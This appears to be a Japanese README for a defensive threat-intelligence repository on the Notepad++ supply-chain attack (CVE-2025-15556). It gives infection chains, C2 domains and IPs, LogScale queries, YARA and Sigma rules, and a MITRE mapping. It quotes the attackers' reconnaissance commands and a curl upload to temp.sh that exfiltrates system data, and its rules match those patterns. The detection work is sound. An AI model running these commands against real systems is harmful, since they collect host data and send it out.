
Notepad++サプライチェーン攻撃(CVE-2025-15556)— Lotus Blossom APT、2025年6月~12月 — に関するIoCと検知ルール。Falcon LogScaleクエリ、YARA/Sigmaルール、MITRE ATT&CKマッピングを含みます。
CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | 2025年6月~12月
このリポジトリには、2026年2月2日に公開された Notepad++ サプライチェーン攻撃に関連する包括的で統合された侵害指標 (IoC) コレクションが含まれています。
2025年6月から12月にかけて、中国政府が支援する脅威アクターが Notepad++ のホスティングインフラを侵害し、組み込みの更新メカニズム (WinGUp) を乗っ取って、標的としたユーザーにトロイの木馬化されたインストーラを選択的に配信しました。この攻撃は、アップデータ (v8.8.9 以前) における暗号学的検証の欠如を悪用し、カスタムバックドア、Cobalt Strike Beacon、Metasploit ペイロードの配布を可能にしました。
| CVE | CVE-2025-15556 — 整合性チェックなしでのコードのダウンロード |
| 脅威アクター | Lotus Blossom (Bilbug, Raspberry Typhoon, Thrip) / Zirconium (Violet Typhoon) |
| 活動期間 | 2025年6月~2025年12月2日 |
| 攻撃ベクトル | WinGUp 自動更新機能を介したサプライチェーンの侵害 |
| 標的 | 政府機関、通信、金融サービス、IT プロバイダ (フィリピン、ベトナム、エルサルバドル、オーストラリア、東アジア) |
| マルウェア | Chrysalis バックドア (カスタム)、Cobalt Strike Beacon、Metasploit Meterpreter |
| 修正バージョン | Notepad++ v8.8.9+ (証明書検証) / v8.9.1+ (XMLDSig 検証) |
Kaspersky GReAT は、検知を回避するため約1か月ごとに切り替えられた3つの異なる感染チェーンを特定しました:
GUP.exe → update.exe (NSIS) → ProShow.exe (legitimate) → exploit via "load" file
→ Metasploit downloader → Cobalt Strike Beacon
whoami && tasklist → temp.sh を介して外部送信%appdata%\ProShow\GUP.exe → update.exe (NSIS) → script.exe (Lua interpreter) → alien.ini (compiled Lua)
→ shellcode via EnumWindowStationsW → Metasploit downloader → Cobalt Strike Beacon
whoami && tasklist && systeminfo && netstat -ano%appdata%\Adobe\Scripts\GUP.exe → update.exe (NSIS) → BluetoothService.exe (legitimate) → log.dll (sideloaded)
→ decrypts "BluetoothService" shellcode → Chrysalis backdoor
%appdata%\Bluetooth\C:\ProgramData\USOShared\ で発見 ┌─────────────────────────────────────────────────────────┐
│ COMPROMISE TIMELINE │
├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
│ Jul 25 │ Aug 25 │ Sep 25 │ Oct 25 │ Nov 25 │Dec 25│
├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
Chain #1 (ProShow) │████████████████████ │
Chain #2 (Lua) │ █████████████████████████████ │
Chain #3 (DLL SL) │ ██████████████ │
Infra access │████████████████████████████████████████████████████████│
└────────────────────────────────────────────────────────┘
| ファイル | 説明 |
|---|---|
notepadpp_supply_chain_iocs.csv | MITRE ATT&CK マッピング付きの IoC 完全データセット (105件の指標) |
動作ベース — IoC に依存せず、最も価値が高い:
gup.exe が正規の署名済み Notepad++ インストーラ以外の子プロセスを起動するgup.exe が notepad-plus-plus.org、github.com、release-assets.githubusercontent.com 以外のドメイン/IP に接続する%appdata%\ProShow\、%appdata%\Adobe\Scripts\、%appdata%\Bluetooth\%localappdata%\Temp\ns.tmp\ の作成 (NSIS ランタイム — 全チェーンに存在)ネットワーク — 高信頼度:
cdncheck.it.com、safe-dns.it.com、self-dns.it.com、api.skycloudcenter.com、api.wiresguard.com の DNS 解決temp.sh (51.91.79.17) への接続 — 特に curl によるファイルアップロードを伴うものtemp.sh URL が埋め込まれた HTTP リクエスト45.76.155.202、45.32.144.255、95.179.213.0、45.77.31.210 への送信接続偵察コマンド (侵害後):
cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])
#event_simpleName=/(ProcessRollup2|NetworkConnectIP4|DnsRequest)/ event_platform=Win
| case {
// Malicious IPs
RemoteAddressIP4=/(95\.179\.213\.0|61\.4\.102\.97|59\.110\.7\.32|124\.222\.137\.114|45\.76\.155\.202|45\.32\.144\.255|45\.77\.31\.210)/
| iocType := "Malicious IP" | iocValue := RemoteAddressIP4 | riskScore := "HIGH";
// Malicious Domains
DomainName=/(api\.skycloudcenter\.com|api\.wiresguard\.com|cdncheck\.it\.com|safe-dns\.it\.com|self-dns\.it\.com|temp\.sh)/i
| iocType := "Malicious Domain" | iocValue := DomainName | riskScore := "HIGH";
// Suspicious filenames
ImageFileName=/\\(BluetoothService|admin|system|loader1|loader2|s047t5g|ConsoleApplication2|3yzr31vk|uffhxpSy)\.exe$/i
| iocType := "Suspicious Filename" | iocValue := ImageFileName | riskScore := "MEDIUM";
// Suspicious DLLs
ImageFileName=/\\(log\.dll|libtcc\.dll)$/i
| iocType := "Suspicious DLL" | iocValue := ImageFileName | riskScore := "MEDIUM";
// Chain-specific artifacts
ImageFileName=/\\(alien\.ini|load)$/i
| iocType := "Chain Artifact" | iocValue := ImageFileName | riskScore := "HIGH";
* | iocType := null;
}
| iocType=*
| ImageFileName=/\\(?<FileName>[^\\]+)$/
| table([riskScore, iocType, iocValue, @timestamp, aid, ComputerName, FileName, ImageFileName, CommandLine, SHA256HashData, RemoteAddressIP4, DomainName], limit=5000)
#event_simpleName=DirectoryCreate event_platform=Win
| FilePath=/\\ns\.tmp$/i
| FilePath=/\\Temp\\ns\.tmp$/i
| groupBy([aid, ComputerName, FilePath, ContextTimeStamp], limit=5000)
rule Notepadpp_SupplyChain_MaliciousUpdater {
meta:
description = "Detects malicious NSIS installers from Notepad++ supply chain attack"
author = "Renato Z3r0 ed i miei sorcini"
date = "2026-02"
reference = "https://securelist.com/notepad-supply-chain-attack/118708/"
tlp = "WHITE"
strings:
$nsis = "Nullsoft.NSIS" ascii
$recon1 = "whoami" ascii nocase
$recon2 = "tasklist" ascii nocase
$recon3 = "systeminfo" ascii nocase
$recon4 = "netstat -ano" ascii nocase
$exfil = "temp.sh/upload" ascii nocase
$curl = "curl" ascii nocase
$dir1 = "\\ProShow\\" ascii nocase
$dir2 = "\\Adobe\\Scripts\\" ascii nocase
$dir3 = "\\Bluetooth\\" ascii nocase
condition:
uint16(0) == 0x5A4D and
$nsis and
(2 of ($recon*) or $exfil or ($curl and 1 of ($recon*))) and
1 of ($dir*)
}
title: Notepad++ GUP.exe Suspicious Child Process
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects GUP.exe (Notepad++ updater) spawning suspicious child processes indicative of supply chain compromise
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.initial_access
- attack.t1195.002
- cve.2025.15556
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\gup.exe'
filter_legitimate:
Image|endswith:
- '\npp.Installer.x64.exe'
- '\npp.Installer.exe'
condition: selection_parent and not filter_legitimate
falsepositives:
- Legitimate Notepad++ installers with non-standard naming
level: high
title: Reconnaissance Data Exfiltration via temp.sh
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects system reconnaissance followed by data upload to temp.sh, as observed in Notepad++ supply chain attack
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
tags:
- attack.exfiltration
- attack.t1567
- attack.discovery
- attack.t1082
logsource:
category: process_creation
product: windows
detection:
selection_curl:
CommandLine|contains:
- 'temp.sh/upload'
- 'temp.sh'
Image|endswith: '\curl.exe'
condition: selection_curl
falsepositives:
- Legitimate use of temp.sh file sharing service (rare in corporate environments)
level: high
title: Notepad++ Supply Chain C2 Domain Resolution
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Detects DNS resolution of C2 domains associated with the Notepad++ supply chain attack
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.command_and_control
- attack.t1071.001
logsource:
category: dns_query
product: windows
detection:
selection:
QueryName|endswith:
- 'cdncheck.it.com'
- 'safe-dns.it.com'
- 'self-dns.it.com'
- 'api.skycloudcenter.com'
- 'api.wiresguard.com'
condition: selection
falsepositives:
- Very unlikely in corporate environments
level: critical
gup.exe が予期しない子プロセスを起動していないかを調査する%appdata%\ProShow\、%appdata%\Adobe\Scripts\、%appdata%\Bluetooth\) の存在を確認する| 日付 | 変更内容 |
|---|---|
| 2026-02-09 | 初版リリース — Kaspersky、Rapid7、CrowdStrike、Tenable から統合した 105 件の IoC |
このリポジトリは MIT ライセンス の下で提供されます。IoC は防御目的のみのために公開ソースから集約されています。
コントリビューションは歓迎します。追加の IoC、検出ルール、または修正がある場合は:
免責事項: このリポジトリは防御的なサイバーセキュリティ目的のみを意図しています。IoC および検出ルールは、組織がこのサプライチェーン侵害への曝露を評価するのに役立つよう、現状のまま提供されています。
| 列 | 説明 |
|---|
ioc_type | タイプ: ip、domain、url、sha1、sha256、filepath、filename、useragent、behavior、cve、attribution、compromise_window |
ioc_value | 指標の値 |
chain | 感染チェーン (1、2、3、1/2、2/3、all、n/a) |
context | IoC が表す内容の説明 |
source | インテリジェンスソース (Kaspersky、Rapid7、CrowdStrike、Tenable、Kevin Beaumont) |
risk | 深刻度 (CRITICAL、HIGH、MEDIUM、LOW、INFO) |
mitre_technique | MITRE ATT&CK テクニック ID |
| 戦術 | テクニック | ID | 本キャンペーンでの使用 |
|---|
| 初期アクセス | サプライチェーンの侵害: ソフトウェアサプライチェーンの侵害 | T1195.002 | WinGUp 更新メカニズムの乗っ取り |
| 実行 | コマンドおよびスクリプトインタプリタ: Windows コマンドシェル | T1059.003 | cmd.exe による偵察 |
| 実行 | コマンドおよびスクリプトインタプリタ: Python/Lua | T1059.006 | チェーン#2 の Lua インタプリタ |
| 実行 | クライアント実行のための悪用 | T1203 | チェーン#1 の ProShow 脆弱性 |
| 実行 | ネイティブ API | T1106 | シェルコード実行のための EnumWindowStationsW |
| 永続化 | 実行フローのハイジャック: DLL サイドローディング | T1574.002 | チェーン#3 の log.dll サイドローディング |
| 防御回避 | 難読化されたファイルまたは情報 | T1027 | 暗号化されたシェルコード、XOR キー "CRAZY" |
| 防御回避 | 偽装: 正規名への一致 | T1036.005 | BluetoothService.exe、update.exe、AutoUpdater.exe |
| 探索 | システム情報の探索 | T1082 | whoami、systeminfo、tasklist、netstat |
| 収集 | データのステージング: ローカルデータのステージング | T1074.001 | 偵察出力の .txt ファイルへの保存 |
| コマンド&コントロール | アプリケーション層プロトコル: Web プロトコル | T1071.001 | Cobalt Strike、Chrysalis による HTTPS C2 |
| コマンド&コントロール | 暗号化チャネル | T1573 | CS Beacon の暗号化設定 |
| コマンド&コントロール | ツールの侵入転送 | T1105 | CS Beacon を取得する Metasploit ダウンローダー |
| 外部送信 | Web サービスを介した外部送信 | T1567 | temp.sh へのアップロード |
| ソース | リンク |
|---|
| Kaspersky GReAT — 気付かれない実行チェーンと新たな IoC | securelist.com |
| Rapid7 — Chrysalis バックドア: Lotus Blossom のツールキットを詳解 | rapid7.com |
| Notepad++ 公式開示 — 乗っ取りインシデント情報の更新 | notepad-plus-plus.org |
| Kevin Beaumont — 最初の開示と属性特定 | DoublePulsar |
| Tenable — Notepad++ サプライチェーン侵害に関する FAQ | tenable.com |
| Orca Security — 更新ハイジャックの分析と修復 | orca.security |
| CSO Online — 中国 APT による巧妙なサプライチェーン攻撃 | csoonline.com |